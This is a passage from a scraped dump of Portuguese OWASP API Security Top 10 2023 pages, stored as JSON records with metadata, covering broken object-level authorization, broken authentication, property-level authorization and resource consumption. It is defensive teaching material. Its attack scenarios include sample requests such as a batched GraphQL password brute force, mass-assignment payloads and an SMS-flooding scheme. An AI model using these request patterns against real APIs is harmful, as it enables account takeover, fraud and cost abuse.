[API3:2023 - Broken Object Property Level Authorization](../0xa3-broken-object-property-level-authorization/) | Esta categoria combina [API3:2019 - Excessive Data Exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) e [API6:2019 - Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/), focando na causa principal: a falta de validação de autorização adequada ao nível das propriedades do objeto. Isso leva à exposição ou manipulação de informações por partes não autorizadas. |\n| [API4:2023 - Unrestricted Resource Consumption](../0xa4-unrestricted-resource-consumption/) | Satisfazer pedidos de API requer recursos como largura de banda de rede, CPU, memória e armazenamento. Outros recursos como emails/SMS/chamadas telefónicas ou validação biométrica são disponibilizados por fornecedores de serviços através de integrações de API, sendo pagos por pedido. Ataques bem-sucedidos podem levar a uma negação do serviço (DoS) ou a um aumento dos custos operacionais. |\n| [API5:2023 - Broken Function Level Authorization](../0xa5-broken-function-level-authorization/) | Políticas de controlo de acesso complexas com diferentes níveis hierárquicos, grupos e perfis e uma não tão clara separação entre o que são ou não funcionalidades administrativas tendem a conduzir a falhas de autorização. Abusando destas falhas os atacantes podem ganhar acesso a recursos de outros utilizadores e/ou a funcionalidades administrativas. |\n| [API6:2023 - Unrestricted Access to Sensitive Business Flows](../0xa6-unrestricted-access-to-sensitive-business-flows/) | As APIs vulneráveis a este risco expõem um fluxo de negócio - como comprar um bilhete ou publicar um comentário - sem compensar por como a funcionalidade poderia prejudicar o negócio se fosse usada de forma excessiva e automatizada. Isto não resulta necessariamente de falhas de implementação. |\n| [API7:2023 - Server Side Request Forgery](../0xa7-server-side-request-forgery/) | As falhas de Server-Side Request Forgery (SSRF) podem ocorrer quando uma API está a obter um recurso remoto sem validar o URI fornecido pelo utilizador. Isto permite que um atacante force a aplicação a enviar um pedido manipulado para um destino inesperado, mesmo quando protegido por um firewall ou uma VPN. |\n| [API8:2023 - Security Misconfiguration](../0xa8-security-misconfiguration/) | As APIs e os sistemas que as suportam normalmente contêm configurações complexas, destinadas a tornar as APIs mais personalizáveis. Os engenheiros de software e de DevOps podem ignorar essas configurações ou não seguir as melhores práticas de segurança quando se trata de configuração, abrindo a porta para diferentes tipos de ataques. |\n| [API9:2023 - Improper Inventory Management](../0xa9-improper-inventory-management/) | As APIs tendem a expor mais *endpoints* do que as aplicações web tradicionais, fazendo com que a documentação se torne ainda mais importante. Um inventário dos *hosts* e APIs em execução também têm um papel importante na mitigação de falhas tais como versões de APIs descontinuadas e exposição de *endpoints* para análise de problemas. |\n| [API10:2023 - Unsafe Consumption of APIs](../0xaa-unsafe-consumption-of-apis/) | Os programadores tendem a confiar mais nos dados recebidos de APIs de terceiros do que os fornecidos pelo utilizador, e por isso tendem a adotar padrões de segurança mais fracos. Para comprometer APIs, os atacantes visam os serviços de terceiros integrados em vez de tentarem comprometer a API alvo diretamente. |", "znaku_textu": 4302, "slov": 591, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:37", "sha256": "18cc2ff7f93dcf81aa45a473afbab48e7c35d1c9c38f3a188ae50084ac1b628c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa1-broken-object-level-authorization/", "titulek": "API1:2023 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2023 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa1-broken-object-level-authorization/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2023 Broken Object Level Authorization"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 3, "text": "Cenário #3"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API1:2023 Broken Object Level Authorization\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Moderado** : Específico do Negócio |\n| Os atacantes podem explorar *endpoints* de API vulneráveis a *broken object-level authorization* ao manipular o ID de um objeto enviado no pedido. Os IDs de objetos podem ser números inteiros sequenciais, UUIDs ou *strings* genéricas. Independentemente do tipo de dado, são fáceis de identificar no alvo do pedido (parâmetros do caminho ou da *string* de consulta), cabeçalhos do pedido ou até mesmo como parte do conteúdo do pedido. | Este problema é extremamente comum em aplicações baseadas em API porque o componente do servidor geralmente não acompanha completamente o estado do cliente e, em vez disso, confia mais em parâmetros como IDs de objetos, que são enviados pelo cliente para decidir a quais objetos aceder. A resposta do servidor geralmente é suficiente para entender se o pedido foi bem sucedido. | O acesso não autorizado a objetos de outros utilizadores pode resultar na divulgação de dados a partes não autorizadas, perda de dados ou manipulação de dados. Em certas circunstâncias, o acesso não autorizado a objetos também pode resultar na apropriação completa da conta. |\n\n## A API é vulnerável?\n\nA autorização de acesso ao nível do objeto é um mecanismo de controlo que \ngeralmente é implementado ao nível do código para validar que um utilizador só \npode aceder aos objetos aos quais deveria ter permissão para aceder.\n\nCada *endpoint* de API que recebe um ID de um objeto e realiza alguma ação sobre\no objeto deve implementar verificações de autorização ao nível do objeto. As \nverificações devem validar que o utilizador autenticado tem permissões para \nrealizar a ação solicitada sobre o objeto alvo.\n\nAs falhas neste mecanismo geralmente conduzem à divulgação não autorizada de \ninformações, modificação ou destruição de todos os dados.\n\nComparar o ID do utilizador da sessão atual (e.g. ao extraí-lo do token JWT) com\no parâmetro de ID vulnerável não é uma solução suficiente para resolver a falha \nde Broken Object Level Authorization (BOLA). Esta abordagem pode endereçar \napenas um pequeno subconjunto de casos.\n\nNo caso de BOLA, é por design que o utilizador tem acesso ao *endpoint*/função \nda API vulnerável. A violação ocorre ao nível do objeto, através da manipulação \ndo ID. Se um atacante conseguir aceder a um *endpoint*/função da API ao qual não\ndeveria ter acesso - este é um caso de [Broken Function Level Authorization](../0xa5-broken-function-level-authorization/) \n(BFLA) em vez de BOLA.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma plataforma de comércio eletrónico para criar lojas online oferece uma página\nde listagem com gráficos relativos à receita das lojas. Inspecionando os pedidos\nrealizados pelo navegador um atacante identifica os *endpoints* da API usados\npara obter os dados a partir dos quais são gerados os gráficos bem como o seu\npadrão `/shops/{shopName}/revenue_data.json`. Utilizado outro *endpoint* da API\no atacante obtém a lista com o nome de todas as lojas. Com recurso a um *script*\nsimples para substituir `{shopName}` no URL pelos nomes que constam da lista, o\natacante consegue acesso aos dados relativos às vendas de milhares de lojas\nonline.\n\n### Cenário #2\n\nUm fabricante de automóveis habilitou o controlo remoto dos seus veículos \natravés de uma API para comunicação com o telemóvel do condutor. A API permite \nao condutor iniciar e parar o motor e trancar e destrancar as portas \nremotamente. Como parte deste processo, o utilizador envia o Número de \nIdentificação do Veículo (VIN) para a API. No entanto, a API não valida se o VIN \nrepresenta um veículo que pertence ao utilizador autenticado, o que resulta numa \nvulnerabilidade de BOLA. Um atacante pode aceder a veículos que não lhe \npertencem.\n\n### Cenário #3\n\nUm serviço de armazenamento de documentos online permite aos utilizadores \nvisualizar, editar, armazenar e eliminar os seus documentos. Quando um documento \nde um utilizador é eliminado, é enviada uma mutação GraphQL com o ID do \ndocumento para a API.\n\n```\nPOST /graphql\n{\n \"operationName\":\"deleteReports\",\n \"variables\":{\n \"reportKeys\":[\"\"]\n },\n \"query\":\"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {\n {\n deleteReports(reportKeys: $reportKeys)\n }\n }\"\n}\n```\n\nUma vez que o documento com o ID fornecido é eliminado sem quaisquer \nverificações adicionais de permissão, um utilizador pode conseguir eliminar o \ndocumento de outro utilizador.\n\n## Como Prevenir\n\n- Implementar um mecanismo de autorização baseado nas políticas de utilizador e\n hierarquia.\n- Utilizar um mecanismo de autorização para verificar se o utilizador com sessão\n ativa tem permissão para realizar a ação pretendida sobre o registo. Esta\n verificação deve ser feita por todas as funções que utilizem informação\n fornecida pelo cliente para aceder a um registo na base de dados.\n- Utilizar preferencialmente valores aleatórios e não previsíveis (e.g., GUID)\n como identificador para os registos.\n- Escrever testes para avaliar o correto funcionamento do mecanismo de\n autorização. Não colocar em produção alterações vulneráveis que não passem nos\n testes.\n\n## Referências\n\n### OWASP\n\n- [Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [Authorization Testing Automation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)\n\n### Externas\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 5687, "slov": 828, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:46:57", "sha256": "2aee6ede2c531e017bef27933e6641eba4751cba0bf296410152cc4aea77153f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa2-broken-authentication/", "titulek": "API2:2023 Broken Authentication - OWASP API Security Top 10", "h1": "API2:2023 Broken Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa2-broken-authentication/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2023 Broken Authentication"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 2, "text": "Cenário #1"}, {"uroven": 2, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API2:2023 Broken Authentication\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio |\n| O mecanismo de autenticação é um alvo fácil para os atacantes, uma vez que está exposto a todos. Embora possam ser necessárias competências técnicas mais avançadas para explorar alguns problemas de autenticação, geralmente existem ferramentas de exploração disponíveis. | As conceções erradas dos engenheiros de software e de segurança sobre os limites da autenticação e a complexidade inerente da implementação tornam os problemas de autenticação prevalentes. Metodologias para detetar *broken authentication* estão disponíveis e são fáceis de criar. | Os atacantes podem obter controlo total das contas de outros utilizadores no sistema, ler os seus dados pessoais e realizar ações sensíveis em seu nome. Os sistemas têm pouca probabilidade de conseguir distinguir as ações dos atacantes das ações legítimas dos utilizadores. |\n\n## A API é vulnerável?\n\nOs *endpoints* e fluxos de autenticação são ativos que carecem de proteção. Além \ndisso, mecanismos de recuperação de *password* devem ser tratados da mesma forma \nque os mecanismos de autenticação.\n\nUma API é vulnerável se:\n\n- Permite ataques de *credential stuffing* , onde o atacante utiliza força bruta\n com uma lista de nomes de utilizador e palavras-passe válidos.\n- Permite ataques de força bruta a uma conta de utilizador específica, não\n implementando mecanismos de mitigação como *captcha* ou bloqueio da conta por\n excesso de tentativas de autenticação falhadas.\n- Permite a utilização de *passwords* fracas.\n- Envia informação de autenticação, tal como *tokens* e *passwords* , no URL.\n- Permite que os utilizadores alterem o seu endereço de email, *password* atual \n ou realizem outras operações sensíveis sem pedir a confirmação da *password* .\n- Não valida a autenticidade dos *tokens* de autenticação.\n- Aceita *tokens* JWT sem que estes sejam assinados/usando algoritmos fracos `(\"alg\":\"none\")`\n- Não valida a data de expiração dos *tokens* JWT.\n- Utiliza *passwords* em texto, não encriptadas, ou resumos fracos.\n- Utiliza chaves de encriptação fracas.\n\nAlém disso, um microsserviço é vulnerável se:\n\n- Outros microsserviços podem aceder a ele sem autenticação\n- Utiliza tokens fracos ou previsíveis para impor autenticação\n\n## Exemplos de Cenários de Ataque\n\n## Cenário #1\n\nPara realizar a autenticação do utilizador, o cliente tem de enviar um pedido de \nAPI como o exemplo abaixo, com as credenciais do utilizador:\n\n```\nPOST /graphql\n{\n \"query\":\"mutation {\n login (username:\\\"\\\",password:\\\"\\\") {\n token\n }\n }\"\n}\n```\n\nSe as credenciais forem válidas, é devolvido um token de autenticação que deve \nser fornecido em pedidos subsequentes para identificar o utilizador. A \nquantidade de tentativas de login está sujeita a uma limitação temporal \nrestritiva: apenas três pedidos são permitidos por minuto.\n\nPara efetuar login por força bruta com a conta de uma vítima, os atores \nmaliciosos aproveitam o agrupamento de consultas GraphQL para contornar a \nlimitação temporal restritiva de pedidos, acelerando o ataque:\n\n```\nPOST /graphql\n[\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"password\\\"){token}}\"},\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"123456\\\"){token}}\"},\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"qwerty\\\"){token}}\"},\n ...\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"123\\\"){token}}\"},\n]\n```\n\n## Cenário #2\n\nPara atualizar o endereço de email associado à conta de um utilizador, os \nclientes devem enviar um pedido API como o exemplo abaixo:\n\n```\nPUT /account\nAuthorization: Bearer \n\n{ \"email\": \"\" }\n```\n\nDevido à API não exigir que os utilizadores confirmem a sua identidade \nfornecendo a sua *password* atual, atores maliciosos que consigam colocar-se \nnuma posição de roubar o token de autenticação podem conseguir assumir a conta \nda vítima ao iniciar o processo de redefinição de senha após atualizar o \nendereço de email da conta da vítima.\n\n## Como Prevenir\n\n- Certifique-se de que conhece todos os fluxos de autenticação possíveis (e.g.\n móvel/web/ *deeplinks* /etc.). Pergunte aos engenheiros responsáveis quais os\n fluxos em falta/não identificados.\n- Leia sobre os mecanismos de autenticação em uso. Certifique-se que compreende\n quais e como são usados. OAuth não é um mecanismo de autenticação, assim como\n também não o são as API *keys* .\n- Não reinvente a roda em termos de autenticação, geração de *tokens* ,\n armazenamento de *passwords* . Opte pela utilização de standards.\n- *Endpoints* para recuperação de *password* devem ser tratados como os *endpoints* de *login* no que diz respeito à proteção contra ataques de força\n bruta, limitação do número de pedidos e bloqueio de conta.\n- Exija nova autenticação para operações sensíveis (e.g. alterar o\n endereço de email do proprietário da conta/número de telefone para\n autenticação de dois fatores).\n- Utilize a [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Sempre que possível implemente autenticação de múltiplos fatores.\n- Implemente mecanismos anti-força bruta para mitigar ataques do tipo *credential stuffing* , dicionário e força bruta nos *endpoints* de\n autenticação. Este mecanismo deve ter configurações mais restritivas do que\n para os demais *endpoints* da API.\n- Implemente [mecanismos de bloqueio de conta](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003)) / *captcha* para prevenir\n ataques de força bruta contra utilizadores específicos. Implemente verificação\n da qualidade/força das *passwords* .\n- As API *keys* não devem ser usadas para autenticação dos utilizadores. Apenas\n devem ser usadas para autenticação dos [clientes da API](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## Referências\n\n### OWASP\n\n- [Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)\n- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)\n\n### Externas\n\n- [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html)\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)", "znaku_textu": 6489, "slov": 834, "odkazu": 71, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:00", "sha256": "eef3d78e0871cb6ea18a959bc1d1e6bfd66505f99a2969e11112b5ace21475e1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/204.html", "https://cwe.mitre.org/data/definitions/307.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization/", "titulek": "API3:2023 Broken Object Property Level Authorization - OWASP API Security Top 10", "h1": "API3:2023 Broken Object Property Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2023 Broken Object Property Level Authorization"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 3, "text": "Cenário #3"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API3:2023 Broken Object Property Level Authorization\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Moderado** : Específico Negócio |\n| As APIs tendem a expor *endpoints* que devolvem todas as propriedades do objeto. Isto é especialmente válido para APIs REST. Para outros protocolos como o GraphQL, pode ser necessário enviar pedidos elaborados para especificar que propriedades devem ser devolvidas. Identificar estas propriedades adicionais que podem ser manipuladas requer mais esforço, mas existem algumas ferramentas automatizadas disponíveis para ajudar nesta tarefa. | Inspecionar as respostas da API é suficiente para identificar informações sensíveis nas representações dos objetos devolvidos. *Fuzzing* é geralmente usado para identificar propriedades adicionais (ocultas). Determinar se podem ser alteradas depende da elaboração de um pedido à API e da análise da resposta. Pode ser necessária uma análise de efeitos secundários se a propriedade alvo não for devolvida na resposta da API. | O acesso não autorizado a propriedades privadas/sensíveis de objetos pode resultar na divulgação de dados, perda de dados ou corrupção de dados. Em certas circunstâncias, o acesso não autorizado a propriedades de objetos pode levar a elevação de privilégios ou a apropriação parcial/completa de conta. |\n\n## A API é vulnerável?\n\nAo permitir que um utilizador aceda a um objeto através de um *endpoint* da API, \né importante validar que o utilizador tem acesso às propriedades específicas do \nobjeto que está a tentar aceder.\n\nUm *endpoint* de uma API é vulnerável se:\n\n- O *endpoint* da API expõe propriedades de um objeto que são consideradas\n sensíveis e não devem ser lidas pelo utilizador. (anteriormente denominado:\n \" [Excessive Data Exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) \")\n- O *endpoint* da API permite que um utilizador altere, adicione ou elimine o\n valor de uma propriedade sensível de um objeto ao qual o utilizador não deve\n ter acesso. (anteriormente denominado: \" [Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/) \")\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma aplicação de encontros permite a um utilizador denunciar outros utilizadores\npor comportamento inadequado. Como parte deste processo, o utilizador clica num \nbotão de 'denúncia', e é desencadeada a seguinte chamada de API:\n\n```\nPOST /graphql\n{\n \"operationName\":\"reportUser\",\n \"variables\":{\n \"userId\": 313,\n \"reason\":[\"offensive behavior\"]\n },\n \"query\":\"mutation reportUser($userId: ID!, $reason: String!) {\n reportUser(userId: $userId, reason: $reason) {\n status\n message\n reportedUser {\n id\n fullName\n recentLocation\n }\n }\n }\"\n}\n```\n\nO endpoint da API é vulnerável porque permite que o utilizador autenticado tenha \nacesso a propriedades sensíveis do utilizador denunciado, como \"fullName\" (nome \ncompleto) e \"recentLocation\" (localização recente), que não deveriam estar \nacessíveis a outros utilizadores.\n\n### Cenário #2\n\nUma plataforma de mercado online, que permite a um tipo de utilizadores \n('anfitriões') alugar o seu apartamento a outro tipo de utilizadores \n('hóspedes'), requer que o anfitrião aceite uma reserva feita por um hóspede \nantes de cobrar ao hóspede pela estadia.\n\nComo parte deste processo, é feito um pedido de API pelo anfitrião para\n`POST /api/host/approve_booking` com o seguinte conteúdo legítimo:\n\n```\n{\n \"approved\": true,\n \"comment\": \"Check-in is after 3pm\"\n}\n```\n\nO anfitrião reenvia o pedido legítimo e adiciona o seguinte conteúdo malicioso:\n\n```\n{\n \"approved\": true,\n \"comment\": \"Check-in is after 3pm\",\n \"total_stay_price\": \"$1,000,000\"\n}\n```\n\nO *endpoint* da API é vulnerável porque não há validação de que o anfitrião \ndeve ter acesso à propriedade interna do objeto - `total_stay_price`, e o \nhóspede vai ser cobrado mais do que deveria.\n\n### Cenário #3\n\nUma rede social baseada em vídeos curtos, impõe filtros restritivos de conteúdo \ne censura. Mesmo que um vídeo carregado seja bloqueado, o utilizador pode \nalterar a descrição do vídeo utilizando o seguinte pedido à API:\n\n```\nPUT /api/video/update_video\n\n{\n \"description\": \"a funny video about cats\"\n}\n```\n\nUm utilizador frustrado pode reenviar o pedido legítimo e adicionar o seguinte \nconteúdo malicioso:\n\n```\n{\n \"description\": \"a funny video about cats\",\n \"blocked\": false\n}\n```\n\nO *endpoint* da API é vulnerável porque não há validação se o utilizador deve \nter acesso à propriedade interna do objeto - `blocked`, e o utilizador pode \nalterar o valor de `true` para `false` e desbloquear o seu próprio conteúdo \nbloqueado.\n\n## Como Prevenir\n\n- Ao expor um objeto através de um *endpoint* da API, certifique-se sempre de \n que o utilizador deve ter acesso às propriedades do objeto que expõe.\n- Evite usar métodos genéricos como `to_json()` e `to_string()` . Em vez disso,\n selecione especificamente as propriedades do objeto que deseja retornar.\n- Se possível, evite usar funções que automaticamente vinculem os dados\n provenientes do cliente em variáveis de código, objetos internos ou\n propriedades de objetos (\"Mass Assignment\").\n- Permita alterações apenas nas propriedades do objeto que devam ser\n atualizadas pelo cliente.\n- Implemente um mecanismo de validação de resposta baseado num esquema como uma \n camada extra de segurança. Como parte deste mecanismo, defina e imponha que \n dados são retornados por todos os métodos da API.\n- Mantenha as estruturas de dados retornadas ao mínimo essencial, de acordo com \n os requisitos comerciais/funcionais para o *endpoint* .\n\n## Referências\n\n### OWASP\n\n- [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/)\n- [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/)\n- [Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n\n### Externas\n\n- [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies](https://cwe.mitre.org/data/definitions/213.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 6211, "slov": 852, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:21", "sha256": "c4ca64acb3a2f6513788cf1a191f94095376d94ed14dc7a7775a64d31e3f0e4b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/213.html", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption/", "titulek": "API4:2023 Unrestricted Resource Consumption - OWASP API Security Top 10", "h1": "API4:2023 Unrestricted Resource Consumption", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2023 Unrestricted Resource Consumption"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 3, "text": "Cenário #3"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API4:2023 Unrestricted Resource Consumption\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Moderado** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio |\n| A exploração requer pedidos simples de API. Múltiplos pedidos concorrentes podem ser feitos a partir de um único computador local ou utilizando recursos de computação em nuvem. A maioria das ferramentas automatizadas disponíveis são projetadas para causar DoS (Negação de Serviço) através de altas cargas de tráfego, afetando a taxa de serviço das APIs. | É comum encontrar APIs que não limitam as interações do cliente ou o consumo de recursos. Pedidos de API elaborados, como aqueles que incluem parâmetros que controlam o número de recursos a serem retornados e realizam análises de estado/tempo/comprimento de resposta, devem permitir a identificação do problema. O mesmo vale para operações em quantidade. Embora os agentes maliciosos não tenham visibilidade sobre o impacto nos custos, isso pode ser inferido com base no modelo de negócios/preços dos fornecedores de serviços (e.g. fornecedor de nuvem). | A exploração pode levar a uma Negação de Serviço (DoS) devido à escassez de recursos, mas também pode resultar num aumento dos custos operacionais, como os relacionados à infraestrutura devido à maior exigência de CPU, aumento das necessidades de armazenamento em nuvem, etc. |\n\n## A API é vulnerável?\n\nPara atender aos pedidos feitos à API, são necessários recursos como largura de \nbanda de rede, CPU, memória e armazenamento. Às vezes, os recursos necessários \nsão disponibilizados por provedores de serviços por meio de integrações de API \ne são pagos por pedido, como o envio de emails/SMS/chamadas telefónicas, \nvalidação biométrica, etc.\n\nUma API é vulnerável se pelo menos um dos seguintes limites estiver ausente ou \ndefinido inadequadamente (e.g. muito baixo/alto):\n\n- Tempos limite de execução\n- Memória máxima alocável\n- Número máximo de descritores de ficheiro\n- Número máximo de processos\n- Tamanho máximo de upload de ficheiro\n- Número de operações a serem realizadas num único pedido do cliente da API\n (e.g. agrupamento GraphQL)\n- Número de registros por página a serem retornados num único pedido-resposta\n- Limite de gastos de provedores de serviços terceiros\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma rede social implementou um mecanismo de \"recuperar senha\" através da \nverificação por SMS, permitindo que o utilizador receba um *token* de uso único \nvia SMS para redefinir a sua senha.\n\nUma vez que o utilizador clica em \"recuperar senha\", é feita uma chamada API a \npartir do navegador do utilizador para a API de *back-end*:\n\n```\nPOST /initiate_forgot_password\n\n{\n \"step\": 1,\n \"user_number\": \"6501113434\"\n}\n```\n\nEm seguida, nos bastidores, é feita uma chamada API do *back-end* para uma API \nde terceiros que se encarrega da entrega do SMS:\n\n```\nPOST /sms/send_reset_pass_code\n\nHost: willyo.net\n\n{\n \"phone_number\": \"6501113434\"\n}\n```\n\nO fornecedor de terceiros, Willyo, cobra $0.05 por este tipo de chamada.\n\nUm atacante escreve código que envia a primeira chamada API dezenas de milhares \nde vezes. O *back-end* prossegue e solicita à Willyo que envie dezenas de \nmilhares de mensagens de texto, levando a empresa a perder milhares de dólares \nem questão de minutos.\n\n### Cenário #2\n\nUm *endpoint* de API GraphQL permite que o utilizador carregue uma foto de \nperfil.\n\n```\nPOST /graphql\n\n{\n \"query\": \"mutation {\n uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {\n url\n }\n }\"\n}\n```\n\nUma vez concluído o carregamento, a API gera múltiplas miniaturas com diferentes \ntamanhos com base na imagem carregada. Esta operação gráfica consome muita \nmemória do servidor.\n\nA API implementa uma proteção tradicional de limitação de quantidade de pedidos \n- um utilizador não pode aceder ao *endpoint* GraphQL demasiadas vezes num curto\nperíodo de tempo. A API também verifica o tamanho da imagem carregada antes de\ngerar as miniaturas para evitar o processamento de imagens demasiado grandes.\n\nUm atacante pode facilmente contornar esses mecanismos, 